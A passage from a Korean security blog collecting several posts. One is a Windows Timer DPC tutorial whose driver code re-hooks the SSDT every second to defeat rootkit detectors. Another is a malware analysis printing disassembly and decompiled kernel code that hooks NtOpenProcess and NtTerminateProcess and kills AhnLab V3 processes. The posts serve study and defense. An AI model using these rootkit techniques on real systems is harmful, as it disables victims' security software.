시간이 나서, Timer DPC에 관해서 정리해보고자 글을 쓴다.

  먼저 Timer DPC 라는 제목을 살펴보자. Timer와 DPC 2개로 분리가 된다. Timer는 뭔가 시간이 흐른다는것을 예상해볼 수 있고, DPC는 Deferred Procedure Call 의 약자로써, 지연된 처리의 호출이라고 해석할 수 있다. 사실 Timer의 의미는 대략적으로 예상해볼 수 있는데,  DPC는 뭐가 도대체 지연된 호출인가? 지연된 호출이 왜 필요하단 말인가? 하고 궁금증이 생길 수 있다.

  DPC를 이해하기 위해서는 IRQ 우선순위와 커널의 인터럽트 처리 메커니즘을 알고있어야 하는데, 일반적으로 외부 하드웨어에서 CPU에 인터럽트를 보내면 커널은 이를 인지하여 , 해당 하드웨어에 맞는 ISR을 적절히 선택하여 인터럽트 처리를 수행한다. 그런데 보통 이러한 인터럽트 서비스 루틴은 해당 하드웨어의 요청에 정말 필요한 크리티컬 코드들로만 짧게 구성되어져 있는데, 이는 어느 특정 인터럽트 서비스 루틴으로 인해, 다른 인터럽트 처리의 방해가 없도록 하기 위해서이다. 여기서 갑자기 방해가 왜 나올까? 라고 생각해볼수가 있는데, 여기에서 인터럽트 우선순위 레벨(IRQL) 을 생각해볼 수 있다. 예를 들어 시스템에서 특정 하드웨어가 있는데 , 이 하드웨어는 매우 크리티컬한 요소라서 최우선적으로 처리되어야 할 놈이라고 가정해보자. 이 하드웨어는 IRQL26 우선순위를 부여받고, ISR을 처리하게된다고 가정했을때,  ISR에서 빨리 끝내주지 않고 , 질질 끌게되면 다른 우선순위 낮은 하드웨어(예 : 키보드) 가 인터럽트 처리를 요청했을때, 우선순위 높은 애가 아직 CPU를 부여잡고 있으므로, 기다릴수 밖에 없을것이다.  키보드 빨리빨리 입력해야하는데 , 키보드가 드득드득 지연되면서 입력되는것을 상상해본적이 있는가? 
  그럼 이 문제를 해결하려면 어떻게 해야할까? 참 이런거 생각한사람들은 머리가 좋은것 같다. (어찌보면 단순한가?)  해결법은 ISR을 최대한 단순하고 중요한 코드들로만 구성하고, 만약에 ISR에서 못다한 그리 중요하지않은 추가적인 작업이 필요할 경우, DPC라는 녀석을 요청하는것이다. DPC는  DIRQL이상의 하드웨어 인터럽트 처리가 완료되고나서 , PASSIVE_LEVEL로 떨어지기 전에 DISPATCH_LEVEL에서 작동하는 구간인데, SW Interrupt(PASSIVE_LEVEL, APC_LEVEL , DISPATCH_LEVEL) 중에서는 가장 높은 레벨에 속한다. 이렇게 되면 하드웨어 인터럽트 처리가 완료되고 난다음에 DPC가 처리되기 때문에 , 다른 하드웨어의 인터럽트를 처리하는데 별 무리가 없을것이다.


  이제 Timer DPC의 의미를 다시 한번 생각해보자. DPC는 HW ISR처리가 완료되고난다음, DISPATCH_LEVEL에서 작동하는 SW INT인데 , 이것이 Timer와 합쳐지면 어떤 관련이 있을까? 사실 필자도 이것에 관해서 딱히 책에서 찾아본적은 없는데, 가만히 생각해보면 DPC는 SW INT이므로 , "커널 Timer의 힘을 빌어서 주기적으로 발생되는 SW INT" 라고 생각해도 크게 나쁜것 같지는 않다.

본격적으로 윈도우 커널에서 제공하는 Timer 관련 함수들중 자주 사용되는 함수들을 알아보자.
 
 
1. NTKERNELAPI VOID KeInitializeTimer ( __out PKTIMER Timer );

2. NTKERNELAPI BOOLEAN KeSetTimerEx ( __inout PKTIMER Timer, __in LARGE_INTEGER DueTime, __in LONG Period, __in_opt PKDPC Dpc );

 3. NTKERNELAPI BOOLEAN KeCancelTimer ( __inout PKTIMER )
 

 
 1. 타이머를 사용하기에 앞서 , 초기화를 수행해주는 함수이다.  ExAllocatePool을 이용하여 SystemPool에 KTIMER만큼 할당한뒤, 사용하는것을 권장.

2. 타이머 설정&시작 함수인데, 옵션으로 DPC루틴도 파라메터로 전달할수 있어서, 주기적으로 처리해야할 작업이 있을경우 요긴하게 쓸수 있다. 참고로 , KeSetTimer 함수와 KeSetTimerEx 함수간의 차이가 존재하는데,  KeSetTimer 함수는 Signal이 한번만 발생해서 DPC루틴이 한번만 호출되고 끝나게 되고,  KeSetTimerEx는 LONG Period만큼 주기적으로 DPC루틴이 호출되게 된다.
 
 
3. 타이머를 취소하는 함수로써 , 본인 코드 구성에 따라, 필요에따라 UnloadRoutine 같은곳에 넣어준다.


필자는 따로 편리하게 쓰기 위해서 함수를 정의한뒤, 

PKTIMER
InitializeTimer(VOID)
{
PKTIMER Timer;

Timer = (PKTIMER)ExAllocatePool(NonPagedPool, sizeof(KTIMER));
if(Timer == NULL)
{
return NULL;
}

KeInitializeTimer(Timer);
return Timer;
}

PKDPC
SetTimer
(
IN PKTIMER Timer,
IN LONG Period, 
IN OPTIONAL KDEFERRED_ROUTINE TimerDpcRoutine, 
IN OPTIONAL PVOID DpcRoutineContext
)
{
LARGE_INTEGER TimePeriod;
PKDPC DpcObj;

DpcObj = NULL;

if(TimerDpcRoutine != NULL)
{
DpcObj = (PKDPC) ExAllocatePool(NonPagedPool, sizeof(KDPC));
if(DpcObj == NULL)
{
return NULL;
}
KeInitializeDpc(DpcObj, TimerDpcRoutine, DpcRoutineContext);
}

TimePeriod.QuadPart = -100;
KeSetTimerEx(Timer, TimePeriod, Period, DpcObj);

return DpcObj;
}
 
VOID
ReleaseTimer(IN PKTIMER Timer, IN OPTIONAL PKDPC DpcObj)
{
KeCancelTimer(Timer);
ExFreePool(Timer);

if(DpcObj != NULL)
{
ExFreePool(DpcObj);
}
}


DriverEntry에  다음과 같은 코드를 넣어주었다.


TimerObj = InitializeTimer();
if(TimerObj == NULL)
{
return STATUS_UNSUCCESSFUL;
}
TimerDpcObj = SetTimer(TimerObj, 1000, TimerDpcRoutine, NULL);
if(!TimerDpcObj)
{
return STATUS_UNSUCCESSFUL;
}


또한 UnloadRoutine에는 다음과 같은 코드를 넣어주었다.

ReleaseTimer(TimerObj, TimerDpcObj);
 


이제 TimerDpcRoutine을 살펴보자.

 VOID TimerDpcRoutine(
IN PKDPC Dpc,
IN OPTIONAL PVOID DeferredContext,
IN OPTIONAL PVOID SystemArgument1,
IN OPTIONAL PVOID SystemArgument2
)
{
DBG_PRINT1("Warning! This routine executes on DISPATCH_LEVEL!\n");

if(IsSSDTAlreadyHooked(
(PBYTE)ZwSetInformationThread, 
(PBYTE)NewZwSetInformationThread, 
(PDWORD)KeServiceDescriptorTable.KiServiceTable) == FALSE)
{
disableWP_CR0();
OldZwSetInformationThread = (ZwSetInformationThreadPtr) hookSSDT((PBYTE)ZwSetInformationThread, 
(PBYTE)NewZwSetInformationThread, 
(PDWORD)KeServiceDescriptorTable.KiServiceTable);
enableWP_CR0();
}
return;
}

Timer DPC를 이용해서 간단하게 주기적으로 SSDT훅을 거는 코드를 구성해보았다. 이렇게 코드를 구성하면 , Timer DPC Detect 기능이 없는 루트킷 디텍터에서 SSDT를 Restore 한다고 해도, 1초마다 훅이 걸려있는지 검사해서 다시 훅을 걸어버리기 때문에, 악성 루트킷에서 요긴하게 사용될법 하다.
주의할점은, DPC Routine에서 Zw Routine은 호출하면 안된다는것이다. (Zw Routine은  PASSIVE_LEVEL에서만 호출이 가능하다!)

 

테스트 결과 잘 작동이 되었다.
아래는 스크린 샷.


드라이버를 시작한 모습.  DriverEntry에서 훅을 거는 코드를 작성하진 않았고 , TimerDpcRoutine에 훅을 거는 코드를 삽입했다. 따라서 , 훅은 TimerDpcRoutine에 의해서 걸린것이다.


SSDT Restore를 수행하려고 시도중인 모습.


SSDT Restore를 수행해도 바로 훅이 다시 걸린다. Period를 적절히 조절해주면 Performance도 어느정도 확보할 수 있을것 같다.


 
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by Sone 2011.05.05 11:30

 
Apple | iPhone 3GS | Normal program | Spot | 1/10sec | F/2.8 | 3.9mm | ISO-1000 | No flash function | 2011:01:25 15:12:01
전 사실 이 책이 2009년에 나온지도 전혀 모르고 있었습니다 -_-;;
어찌보면 당연할수도 있는것이, 국내에 출간되지 않은 책이지요...
가지고 계시는분도 본적도 없고, 구매하셨다는분도 못들어봤구요...


 

Apple | iPhone 3GS | Normal program | Spot | 1/40sec | F/2.8 | 3.9mm | ISO-80 | No flash function | 2011:01:25 15:14:53
책 내용을 살펴보면 자세한 소스코드와 함께, 바로바로 실습할 수 있게끔 설명도 잘되어져 있고 내용 완성도가 매우 높아보입니다.
해외 온라인 평가를 살펴봐도, 아주 좋다는 응답이 많습니다.





Apple | iPhone 3GS | Normal program | Spot | 1/15sec | F/2.8 | 3.9mm | ISO-64 | No flash function | 2011:01:25 18:07:57
이 책을 읽음으로써 배울수 있게되는 내용들이 뒷면에 적혀져 있네요.
저도 아직 모르는것들이 많아서, 다른 서적들과 병행해서 차근차근 읽어볼 계획입니다..
이 책은  멀티프로세서 시스템과 , 윈도우 비스타의 커널 구조를 다룬다는것이 이전 루트킷 서적과 비교했을때 가장 큰 특징이라고 생각됩니다.




Apple | iPhone 3GS | Normal program | Spot | 1/10sec | F/2.8 | 3.9mm | ISO-1000 | No flash function | 2011:01:25 18:27:49

책 사이즈가 생각보다 아담하네요..
두께는 두껍지만(908페이지) 폭이 넓지가 않아서 휴대하는데 생각보다 간편할듯 합니다.



 

Apple | iPhone 3GS | Normal program | Average | 1/12sec | F/2.8 | 3.9mm | ISO-640 | No flash function | 2011:01:25 18:29:21

루트킷 서적과 사이즈 비교한 모습입니다.
실제로 보면 더 작아보입니다.

전 사실 이 책에 대한 첫 인상이, 표지에 한자가 써져있길래 속칭 짱깨 서적인줄 알았습니다....
어쨌든 좋은책인것은 분명합니다.
국내에도 빨리 정식출간 됐으면 좋겠네요.

이 책에 관해서 자세히 알아보시려면
구글에서 The Rootkit Arsenal - Escape and Evasion in the Dark Corners of the System
이라고 치면, 구글 도서 검색결과가 나오는데 거기 들어가시면 목차와 세세한 내용들이 나옵니다.

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by Sone 2011.01.25 20:20
Org Referenced : http://www.tuluka.org/index.html

또 강력한 툴이 나왔습니다.





Tuluka is a new powerful AntiRootkit, which has the following features:

숨겨진 프로세스와 드라이버, 디바이스 감지
IRP 훅 감지
DRIVER_OBJECT의 특정 필드 식별 조회
드라이버 시그내쳐 체크
SSDT훅 감지 / 복원
GDT의 의심스러운 부분 감지
IDT훅 감지
SYSENTER 훅 감지
커널 시스템 쓰레드 리스트 조회 및 , Suspend가 가능
IAT와 인라인 훅 감지
DR 레지스터의 값 조회 가능하며 , 어떠한 모듈에서 DR을 건드리고 있는지 확인 가능
어드레스의 대입만으로 , 그 어드레스가 어떠한 모듈에서 사용되고 있는지 조회 가능
커널 메모리를 조회하고 , 그 정보를 디스크에 저장 가능
커널 드라이버 덤프 / 프로세스의 주 모듈 덤프 가능
프로세스 종료 가능
인터럽트 루틴 / IRP핸들러 / 시스템 서비스 / 쓰레드의 Start Routine 등등등등을    "디스어셈블" 가능
디바이스 스택 Build 가능
기타 등등



Tuluka is tested on the following operating systems(32-bit):

Windows XP SP0 SP1 SP2 SP3
Windows Server 2003 SP0 SP1 SP2 R2
Windows Vista SP0 SP1 SP2
Windows Server 2008 SP0 SP1 SP2
Windows 7 SP0 SP1


최근 들어서 이러한 종류의 툴들이 잇따라 등장하고 있습니다.
특히나 이 툴은  "Command" 를 지원하는것이 가장 큰 특징이라고 볼수있는데,
kernel detective 같은경우는 , disassemble이 있어서 좋았지만,  상당히 불안정해서 쓰지않고 있었는데,
이젠 이 툴로 대체가 가능하게 됐습니다.
Command 같은 경우 ,  Display Memory와  Disassemble을 지원하는데

해당 커맨드는   u (disassemble) , db, dw, dd(display) 가 있습니다.

Tuluka commands

Syntax

u [/d] [DISK] [address] [size]

Description

Disassembles the memory in the given range.

Parameters

address - start address of the region.

size - size of the region.

/d - get data from the disk instead of memory. If this parameter is present then DISK specifies the name of disk.

Example

u 804da000 1000

u /d c: 0 200 (disassembles boot sector)

Syntax

d{b,w,d} [/d] [DISK] [address] [size]

Description

Display the contents of memory in the given range.

Parameters

db - Each displayed line consists of address followed up to 16 byte values of its contents.

dw - Each displayed line consists of address followed up to 8 word values of its contents.

dd - Each displayed line consists of address followed up to 4 double-word values of its contents.

address - address from the dump should start

size - size of the dump

/d - dump data from disk instead of memory. If the parameter is present, the DISK argument specifies the name of disk device to dump.

Example

dd 804da000 1000

db /d c: 0 200 (displays contents of the boot sector)

____________________________________________________________________________________________________________________

>>db /d c: 0 200

00000000 EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00

00000010 00 00 00 00 00 F8 00 00 3F 00 FF 00 00 08 00 00



windbg의 커맨드를 그대로 반영했네요.

결국 이러한 툴들이 등장하는 목적은................
"로컬 커널 디버깅을 실시간으로 가능하게 한다"    라는것이 목적인듯하네요.
kernel detectivce , rkunhooker , Tuluka kernel inspector   모두 같은 맥락의 툴이겠지요.
시간이 지나면 지남에 따라서 , windbg가 필요없게 되는날이 올지도 모릅니다.
아니 , 그 날이 올게 분명합니다.

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Import Reconstructor 1.7e FINAL  (0) 2010.10.10
by Sone 2010.10.31 14:58
Rootkit.com에서 활동중인 어떤 회원이 제작한 프로그램입니다.



사실 이 프로그램이 제작된지는 몇달 됐는데,  이제서야 올립니다.

주요기능은 아래와 같습니다

* SSDT/ Shadow SSDT 변조 탐지
* 숨겨진 프로세스 탐지
* 숨겨진 드라이버 탐지
* 스텔스 코드 탐지
* 숨겨진 파일 탐지
* 코드 훅 탐지
* 파일 쓰기/ 복사 기능
* 커널 콜백 루틴 조회/ 삭제 기능 
(PsSetCreateProcessNotifyRoutine / PsSetLoadImageNotifyRoutine / PsSetCreateThreadNotifyROutine)
* 커널 시스템 쓰레드 조회/ 중지 / 재개 기능
* 특정 영역 / 물리 메모리 덤프 기능
* 가상 머신 감지 기능 (using RDTSC)
* 윈도우 메시지 훅 감지 기능
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by Sone 2010.10.31 14:35

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
